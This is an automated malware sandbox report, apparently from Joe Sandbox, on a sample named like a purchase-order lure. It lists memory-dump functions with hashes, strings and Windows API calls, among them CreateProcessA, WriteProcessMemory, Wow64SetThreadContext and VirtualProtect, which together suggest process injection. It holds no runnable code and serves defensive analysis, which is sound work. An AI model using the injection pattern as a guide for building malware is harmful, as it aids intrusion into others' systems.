Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 37cf08a30079bc70046ff19e0b75e12f0199e38135b69ab3c3308ae922f8db53
Instruction ID: 372050a521d484bea75869922bb29f35331b28fedf8540e61e94cd814814c526
Opcode Fuzzy Hash: 37cf08a30079bc70046ff19e0b75e12f0199e38135b69ab3c3308ae922f8db53
Instruction Fuzzy Hash: 02B1D174E01218CFEB94DFA9D984B9DBBF2BB49305F2090A9D409A7361DB70AD85CF50

Function 066A74A0 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

Te]q, xrefs: 066A7682

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: e60070298e82f8b607ce19bfa493b9c80b302ee8f92f20347f46580d5b57d35c
Instruction ID: 6d58542be56bd24df3c87a3e1cf5e9557438b2893e57c951c89aeee02613aa93
Opcode Fuzzy Hash: e60070298e82f8b607ce19bfa493b9c80b302ee8f92f20347f46580d5b57d35c
Instruction Fuzzy Hash: 77B1E274E01218CFDB94DFA9D984B9DBBF2BB49304F2090A9D409A7361DB70AE85CF50

Function 067DE308 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

0M, xrefs: 067DE3A5, 067DE440, 067DE4D6, 067DE4F7, 067DE529, 067DE5D5

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 520914dfc043b365e719ac8d5cace8622a54a103747f39f546b4691ca89d9fdb
Instruction ID: 9a02a1aa488e6f790727d474e870686707f12bad5dea982a31a8396bf5348663
Opcode Fuzzy Hash: 520914dfc043b365e719ac8d5cace8622a54a103747f39f546b4691ca89d9fdb
Instruction Fuzzy Hash: E5A15870E04208CFDB95DFA8D884BADB7F2FB49304F50906AE419AB396DB349985CF50

Function 067DE318 Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

0M, xrefs: 067DE3A5, 067DE440, 067DE4D6, 067DE4F7, 067DE529, 067DE5D5

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 3088e995fb71fbe2e11111b8dae19204ca7524e4b876b92c39bbf5751a6e5efa
Instruction ID: d51fa19a2139f1868e671ee697fb063337dd2fc2238d2678494a241182cc4830
Opcode Fuzzy Hash: 3088e995fb71fbe2e11111b8dae19204ca7524e4b876b92c39bbf5751a6e5efa
Instruction Fuzzy Hash: 8FA16870E04208CFDB85DFA8D884BADB7F2FB49304F50906AE419AB396DB349985CF50

Function 067DE497 Relevance: 1.5, Strings: 1, Instructions: 221COMMON

Download Yara Rule

Strings

0M, xrefs: 067DE3A5, 067DE440, 067DE4D6, 067DE4F7, 067DE529, 067DE5D5

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: 9913b286d37120342b302c5a8304cab007324d7e0a1d8186461cce0b43971e19
Instruction ID: fe0ad62abd2c67c88eed43d41e02647170d8efe9af3ed7d28b9ef12b472bc917
Opcode Fuzzy Hash: 9913b286d37120342b302c5a8304cab007324d7e0a1d8186461cce0b43971e19
Instruction Fuzzy Hash: 1D913870E05208CFEB95EFA8D484BADB7F2FB49304F50906AE419AB356DB349985CF50

Function 066A0040 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

J, xrefs: 066A010F

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: J
API String ID: 0-1141589763
Opcode ID: 6f6ada0411893cdc58bcac29213c3155404c44783196f8bb28dbf1740ac4fb8f
Instruction ID: 6ffaa3bdeb65ad0a9af48fce9bd125caec6974557da3c4f5c646ef9d9c82b661
Opcode Fuzzy Hash: 6f6ada0411893cdc58bcac29213c3155404c44783196f8bb28dbf1740ac4fb8f
Instruction Fuzzy Hash: 283188B1D156288BEB5ACF6BDC4069DFAFBBFC8204F04D1AA950CA6254DB700B818F54

Function 06AAE2B0 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

PZT, xrefs: 06AAE5DC

Memory Dump Source

Source File: 00000000.00000002.2170523553.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a90000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: PZT
API String ID: 0-3004033766
Opcode ID: 022f2ce95b19975d43d728507c973b681cb2b955b7dd35be1e7101cb5f80f117
Instruction ID: d4b8ec69d20981d0024898e93de5f5dc1f642035671aa8b3a38b7ae884302cc8
Opcode Fuzzy Hash: 022f2ce95b19975d43d728507c973b681cb2b955b7dd35be1e7101cb5f80f117
Instruction Fuzzy Hash: DF310774A01218CFEB94EF69D855BA9B7F6FB48300F0090AAE50AA7355DB349A84CF41

Function 0106A041 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148641823.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1060000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ad125a8d0f6191de43af669432cb04ecb4f3a6f5de0843ed06c794aab3ab4d6
Instruction ID: 47daf78e99b095f3184d1d086477bf5050e8281f1686976b9f88a75d646db7e4
Opcode Fuzzy Hash: 2ad125a8d0f6191de43af669432cb04ecb4f3a6f5de0843ed06c794aab3ab4d6
Instruction Fuzzy Hash: 4751A070E4522CCFFB64DF29C984B99B7B5BB49300F1086EAD449A3251DB309AC5CF55

Function 0106A067 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148641823.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1060000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3858249bc93f37f0c5793f2b2a66d9d2ec74d2434a35699ef917bbc78b88f29d
Instruction ID: ebed305bc0b236a99aa614f878ae98ea47a48da75b06686d0b2488d771d41b25
Opcode Fuzzy Hash: 3858249bc93f37f0c5793f2b2a66d9d2ec74d2434a35699ef917bbc78b88f29d
Instruction Fuzzy Hash: 1A51AF70E4522CCFEB68DF29C984B99B7B5BB89300F10C6EAD449A3251DB309AC5CF55

Function 06609C30 Relevance: 4.2, Strings: 3, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 0660A184
Haq, xrefs: 0660A134
Haq, xrefs: 0660A105

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq
API String ID: 0-3013282719
Opcode ID: f62b6b6921364f0900494a6583f83f728bf794e70d9594e396fd0103be6d449c
Instruction ID: 89bbb06bdaacb3d7419574ed53b4555405d6e0feb46e57382766ef866c83df9d
Opcode Fuzzy Hash: f62b6b6921364f0900494a6583f83f728bf794e70d9594e396fd0103be6d449c
Instruction Fuzzy Hash: E7126F31A002058FDB68DFA9D884AAEBBF6FF84300F14856DE5069B795DB31EC45CB90

Function 065C13F0 Relevance: 4.2, Strings: 2, Instructions: 1685COMMON

Download Yara Rule

Strings

4']q, xrefs: 065C2659
4']q, xrefs: 065C2669

Memory Dump Source

Source File: 00000000.00000002.2164312165.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 81e4d8fd3950e66e93646274b677949ec3d653a0295da97475d3093b5fdf1ef6
Instruction ID: d7f2da2ec712cb4097d10b9cc60364934cce00911bf086f6a468f0e2026f20de
Opcode Fuzzy Hash: 81e4d8fd3950e66e93646274b677949ec3d653a0295da97475d3093b5fdf1ef6
Instruction Fuzzy Hash: 82E290709093899FCB66CBE4CC58BAE7FB5FF46310F14409AE540AB2A2C6745945CFB2

Function 0660B8E8 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 0660BBE1
4']q, xrefs: 0660BC61
4']q, xrefs: 0660BB02

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: b8972b3b5fd455bc1ffefe69bdfa005efd837c78513f5f6428414259449e30ab
Instruction ID: 730cc7a723ad0276c93a6f8b767ca0b65a15a769af38169db9bf1c2c6ced8090
Opcode Fuzzy Hash: b8972b3b5fd455bc1ffefe69bdfa005efd837c78513f5f6428414259449e30ab
Instruction Fuzzy Hash: 3FF1DD34A10218DFDB48DF64D994E9EBBB2FF89300F118168E516AB3A5DB71EC46CB50

Function 067C26DC Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 205
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 067C28C2

Strings

U, xrefs: 067C26E4

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: CreateProcess
String ID: U
API String ID: 963392458-3372436214
Opcode ID: 220d018aa478f12cf95342b7560c94db8c1c61c337ca4dc6bde9a526f9f154b2
Instruction ID: 5860da243147b11b9f1bb45d2ecd90e49d9857bd00276017a6b4167855140d2c
Opcode Fuzzy Hash: 220d018aa478f12cf95342b7560c94db8c1c61c337ca4dc6bde9a526f9f154b2
Instruction Fuzzy Hash: 61815570D006499FDB50CFA9C8817EEBBF1BF48324F24852DE869A7255D7749982CB81

Function 065C29D0 Relevance: 2.9, Strings: 2, Instructions: 362COMMON

Download Yara Rule

Strings

4']q, xrefs: 065C2E66
4']q, xrefs: 065C2E76

Memory Dump Source

Source File: 00000000.00000002.2164312165.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: fa6665903434b0db4116e02c601dc92dc02b323c3084b6cb028ba2d8c0453bb7
Instruction ID: d62086f0aa345cc6099625d73b0d97a5a98ea713f3b0f9e43a641456bf678c94
Opcode Fuzzy Hash: fa6665903434b0db4116e02c601dc92dc02b323c3084b6cb028ba2d8c0453bb7
Instruction Fuzzy Hash: 5DF1C074D01209EFCB98DFE8E5886ADBBB2FF49325F20442DE50AA7254DB305A85DF41

Function 01065775 Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

PH]q, xrefs: 01065B34
`Q]q, xrefs: 01065AC9

Memory Dump Source

Source File: 00000000.00000002.2148641823.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1060000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: PH]q$`Q]q
API String ID: 0-2790359648
Opcode ID: 914f211d0bf7be359bb34c39945e8cd6e3d2fa9253aa7bcb95483140cbee4477
Instruction ID: 630423ae3693773b0e4e9cc02114cd1d9eccd2abc1fbab144987eed10b8a298e
Opcode Fuzzy Hash: 914f211d0bf7be359bb34c39945e8cd6e3d2fa9253aa7bcb95483140cbee4477
Instruction Fuzzy Hash: 6EB1E2B4D45229CFDB60CF28DD48BADB7B5BB49351F0080EAD689A7290DB741AC4CF19

Function 065C3968 Relevance: 2.7, Strings: 2, Instructions: 208COMMON

Download Yara Rule

Strings

4']q, xrefs: 065C3BE9
4']q, xrefs: 065C3BF9

Memory Dump Source

Source File: 00000000.00000002.2164312165.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: a88c1ea1b4b89fe92f9fbdb17ca2661b72db3a0194dbd2dd4e68969275134d1f
Instruction ID: 227b274f59b59363718ff1644189e2ce2a435aee5d204bcaab810fd08ab254cd
Opcode Fuzzy Hash: a88c1ea1b4b89fe92f9fbdb17ca2661b72db3a0194dbd2dd4e68969275134d1f
Instruction Fuzzy Hash: 3591DC34E00208DFCB98DFE9D998AECBBB2BF89325F109529D526B7250CB355845CF61

Function 06607D11 Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

(aq, xrefs: 06607E8B
(aq, xrefs: 06607E34

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: (aq$(aq
API String ID: 0-3916115647
Opcode ID: 6130d46dd660f8f633d605bb7ef3f066cd751d03b1bc95fd2b42b6d30242d64d
Instruction ID: e86317a0586d713d6dbbab3da08b9a6a5a3e4cfb7d24e9ba46a292e4c0153f30
Opcode Fuzzy Hash: 6130d46dd660f8f633d605bb7ef3f066cd751d03b1bc95fd2b42b6d30242d64d
Instruction Fuzzy Hash: 4251AB317002458FDB599F29E854AAF3BA6EF84311F10847AE905CB395CF35ED46C7A1

Function 06605780 Relevance: 2.7, Strings: 2, Instructions: 157COMMON

Download Yara Rule

Strings

Haq, xrefs: 06605915
(aq, xrefs: 06605886

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: (aq$Haq
API String ID: 0-3785302501
Opcode ID: f0cfc8c5b49204102b7caf049b4b76992cd965554612d625fb200c06d158d566
Instruction ID: 33dac30344b9032d4978786e016ba2afd0cc7528998bf74cd7421886935da80e
Opcode Fuzzy Hash: f0cfc8c5b49204102b7caf049b4b76992cd965554612d625fb200c06d158d566
Instruction Fuzzy Hash: 14516730B002158FD759AF28C45892EBBB6FF8530171488ADE946CB3A5CF35ED06CBA1

Function 06601E20 Relevance: 2.6, Strings: 2, Instructions: 106COMMON

Download Yara Rule

Strings

`A, xrefs: 06601EBA
(aq, xrefs: 06601E70

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: (aq$`A
API String ID: 0-322524450
Opcode ID: 7284948ffae59f02c74857e801560cd733e74cedb72fac5e896cdb0f9ce680ea
Instruction ID: 91f03ce66f622b13534a653cc77bf1b3bb446aee8e066fc2aad016adc9844144
Opcode Fuzzy Hash: 7284948ffae59f02c74857e801560cd733e74cedb72fac5e896cdb0f9ce680ea
Instruction Fuzzy Hash: F031F6367041456BDB195F6DE8509AFBFAAEFC6360B14803AF904CB391CE329C15C7A0

Function 06A93BF9 Relevance: 2.5, Strings: 2, Instructions: 35COMMON

Download Yara Rule

Strings

0M, xrefs: 06A93C08, 06A93C3A, 06A93C6C
", xrefs: 06A93CA5

Memory Dump Source

Source File: 00000000.00000002.2170523553.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a90000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: "$0M
API String ID: 0-3844039254
Opcode ID: 1e96173c65fcd46ce2ef1ce2134d0d376173f8e019e46812c124d50d4219c043
Instruction ID: 200c79d57a5634d3eb90a80292b924e925f81a0a6b38e327e09a1915de4339c3
Opcode Fuzzy Hash: 1e96173c65fcd46ce2ef1ce2134d0d376173f8e019e46812c124d50d4219c043
Instruction Fuzzy Hash: 7911F7B4A411298FDBA4DF28C994ACDB7F1EB4D310F1080E9E90DA3385CA309E858F25

Function 065C13A5 Relevance: 2.4, Strings: 1, Instructions: 1185COMMON

Download Yara Rule

Strings

4']q, xrefs: 065C2659

Memory Dump Source

Source File: 00000000.00000002.2164312165.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: cdaec5cff03ed5049dff813b311f7c81c417e0f1d82c02e1c90560ad921829f8
Instruction ID: 48e1689fe2141025db65b42caae90cb6bcb6255acdf79a48255202f71b13a9f6
Opcode Fuzzy Hash: cdaec5cff03ed5049dff813b311f7c81c417e0f1d82c02e1c90560ad921829f8
Instruction Fuzzy Hash: AD924C7090A384AFD72787B58C59B9A7FB8AF03311F1941DBE140DB2E3C6685849CB72

Function 0660C7C0 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,aq, xrefs: 0660CB3B

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: ,aq
API String ID: 0-3092978723
Opcode ID: b268fc7ee5ee61b617915cfb66155519d5a029dd5b9a6528cda75304f58aa12d
Instruction ID: 0d2d0f60fc5b8943eab5437b669f7a0b560a5ea91e4b513430df781415b9bd95
Opcode Fuzzy Hash: b268fc7ee5ee61b617915cfb66155519d5a029dd5b9a6528cda75304f58aa12d
Instruction Fuzzy Hash: F8521C75A002288FDB68CF69C985BDDBBF6BF88300F1541E9E509A7391DA309D81CF61

Function 06606D20 Relevance: 1.8, Strings: 1, Instructions: 531COMMON

Download Yara Rule

Strings

(_]q, xrefs: 06606FAD

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: (_]q
API String ID: 0-188044275
Opcode ID: 4904c5676548d568deaafb57fa7a37140c945d8e72323758c7271232a567f6de
Instruction ID: 82499cc0fbab621deb2403e0e40e3be3c21c9d4f54f26f78eeba32c9e5e47d04
Opcode Fuzzy Hash: 4904c5676548d568deaafb57fa7a37140c945d8e72323758c7271232a567f6de
Instruction Fuzzy Hash: 68226E75A002059FEB58DF68D494A6EBBF6FF88300F158469E905DB391CB71ED41CBA0

Function 067C26E8 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 067C28C2

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6137ad4d24443b5c61158037375d680f05427f609aa3d725fd61f6ca9dc18da7
Instruction ID: 9fd3aa94c155f72ebe38cc76a08a668b53b08b19ae33da5bbf084ff0c0446150
Opcode Fuzzy Hash: 6137ad4d24443b5c61158037375d680f05427f609aa3d725fd61f6ca9dc18da7
Instruction Fuzzy Hash: 17814571D006198FDB50CFA9C8817EEBBF1BF48324F24852DE869A7255DB749981CF81

Function 0660D666 Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

$]q, xrefs: 0660D78F

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 3c8b8b48a2df51abe2faf4ef26671ec2b8500c208317d17e177e078e2993c718
Instruction ID: 1b86c599137f18b04f0e688da3089ef78f8772009eb4f59308b9b2816cda4643
Opcode Fuzzy Hash: 3c8b8b48a2df51abe2faf4ef26671ec2b8500c208317d17e177e078e2993c718
Instruction Fuzzy Hash: 9EE17FB5B042068FEB989FA9D45467FBBA2EF85300F244639E582CB3D1DA34CD45C762

Function 05AF75B5 Relevance: 1.6, APIs: 1, Instructions: 145fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 05AF7705

Memory Dump Source

Source File: 00000000.00000002.2162304348.0000000005AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5af0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 0af7bc0b29dd20d21e443f309b06d61b29ea331fce3708e34ef376dcc42c4706
Instruction ID: ff54986104a8134a468163818d9e808e7cdfb790c4393ae7c4c0bafbcbf0ede2
Opcode Fuzzy Hash: 0af7bc0b29dd20d21e443f309b06d61b29ea331fce3708e34ef376dcc42c4706
Instruction Fuzzy Hash: 42518A70D106199FDB10DFA9C945BAEBBF2FF48310F148529E855E7284E7789882CB81

Function 05AF75C0 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 05AF7705

Memory Dump Source

Source File: 00000000.00000002.2162304348.0000000005AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5af0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: e990c6caeefdc6c81f39c88e887402547c25cbeb5c6b72821b002d1ff0b05235
Instruction ID: a5f2a3a6a7dd2d642985c29b89744a5ed4894c3a4543ef13a4b4f3e160517492
Opcode Fuzzy Hash: e990c6caeefdc6c81f39c88e887402547c25cbeb5c6b72821b002d1ff0b05235
Instruction Fuzzy Hash: 15518C70D107199FDB10DFA9C845BAEBBF2FF48310F148529E815E7284E7789841CB91

Function 067C37D0 Relevance: 1.6, APIs: 1, Instructions: 73injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 067C3868

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 68110f0dba9034df8f591c7373d5c495603ca75442e95b480caa3d96cb0fd5e5
Instruction ID: 68ce73c220d675b50a6aa60ce23026cba63d10100de018669725c07e02a62154
Opcode Fuzzy Hash: 68110f0dba9034df8f591c7373d5c495603ca75442e95b480caa3d96cb0fd5e5
Instruction Fuzzy Hash: 122137B19003499FCB10DFAAC884BEEBBF5FF48324F54842EE959A7240D7789545CBA0

Function 067C37D8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 067C3868

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d7e20670498d2721ab58384652373b628dd3543e79dd40b2fbdfaab79d9ba4da
Instruction ID: 3f22657016820b1e7282e5bd28955ed50988778406bc7c6836152b192281d6d7
Opcode Fuzzy Hash: d7e20670498d2721ab58384652373b628dd3543e79dd40b2fbdfaab79d9ba4da
Instruction Fuzzy Hash: E02128B1D003499FCB10DFAAC885BEEBBF5FF48320F508429E919A7240C7789544CBA0

Function 067C3EE0 Relevance: 1.6, APIs: 1, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 067C3F66

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: aac0741b81ccfdd0beaebf01a8972920b2001ede8a7a411591e5d44bb6808486
Instruction ID: 8a2e131452453b864f5da6080a611ba0204421494d40b13ece0f27bea25f685d
Opcode Fuzzy Hash: aac0741b81ccfdd0beaebf01a8972920b2001ede8a7a411591e5d44bb6808486
Instruction Fuzzy Hash: 942145B1D003098FDB10DFAAC4857EEBBF4AF48324F14842ED559A7240CB78A945CFA1

Function 067DD780 Relevance: 1.6, APIs: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 067DD7FC

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 707720ff1fafae365d218df309d2a2b2181eb8de8761c8727bfae16e0d873c5e
Instruction ID: 16d3c9206960e528400096b16f657fb84e52af9fc48622b388848557cde5f777
Opcode Fuzzy Hash: 707720ff1fafae365d218df309d2a2b2181eb8de8761c8727bfae16e0d873c5e
Instruction Fuzzy Hash: 282138B1C003499EDB20DFAAC844BEEFBF5EF48320F54882AD559A7240C7789945CFA1

Function 067C3EE8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 067C3F66

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 476aa9e127e8243d90aa93782da7ab41866cd283a0ff83ca9de64dab1480fe45
Instruction ID: 04985e6ad62a51c56c3a0017db695a5774fadb62599912e4fbf81d4e8983a321
Opcode Fuzzy Hash: 476aa9e127e8243d90aa93782da7ab41866cd283a0ff83ca9de64dab1480fe45
Instruction Fuzzy Hash: 992115B1D002098FDB10DFAAC485BEEBBF4EF49324F54842ED519A7240CB78A945CFA1

Function 065A0301 Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 065A037C

Memory Dump Source

Source File: 00000000.00000002.2164245963.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3eb5461eef7904a4a245b775b579bb32b17dfe9ce934730654127f9aeb6de555
